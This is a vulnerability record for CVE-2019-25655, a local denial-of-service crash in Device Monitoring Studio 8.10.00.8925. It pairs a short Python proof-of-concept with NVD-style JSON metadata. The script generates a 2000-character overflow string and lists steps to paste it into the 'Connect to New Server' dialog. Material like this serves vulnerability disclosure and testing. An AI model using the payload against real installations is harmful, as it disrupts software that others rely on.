CVE-2019-25655

# PoC for CVE-2019-25655 # This script generates a malicious string to crash the application. # Copy the output and paste it into the 'Server Name/Address' field # in the 'Connect to New Server' dialog. def generate_payload(length=2000): """ Generates a long string of repeated characters to trigger the buffer overflow. """ return "A" * length if __name__ == "__main__": # Generate a payload of 2000 characters payload = generate_payload(2000) print("[+] Payload generated:") print(payload) print("\n[+] Steps to reproduce:") print("1. Open Device Monitoring Studio") print("2. Go to Tools -> Connect to New Server") print("3. Paste the above string into the Server Name field") print("4. Click OK/Connect to trigger the crash")

{"cve": {"id": "CVE-2019-25655", "sourceIdentifier": "[email protected]", "published": "2026-03-30T12:16:18.380", "lastModified": "2026-04-08T16:12:14.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Device Monitoring Studio 8.10.00.8925 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string to the server connection dialog. Attackers can trigger the crash by entering a malformed server name or address containing repeated characters through the Tools menu Connect to New Server interface."}, {"lang": "es", "value": "Device Monitoring Studio 8.10.00.8925 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales colapsar la aplicación al proporcionar una cadena excesivamente larga al diálogo de conexión del servidor. Los atacantes pueden desencadenar el colapso al introducir un nombre o dirección de servidor malformado que contenga caracteres repetidos a través de la interfaz Conectar a nuevo servidor del menú Herramientas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1316"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hhdsoftware:device_monitoring_studio:8.10.00.8925:*:*:*:*:*:*:*", "matchCriteriaId": "4ACCCA2A-3DE9-4611-BFC9-B0FDAD540695"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46321", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/device-monitoring-studio-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}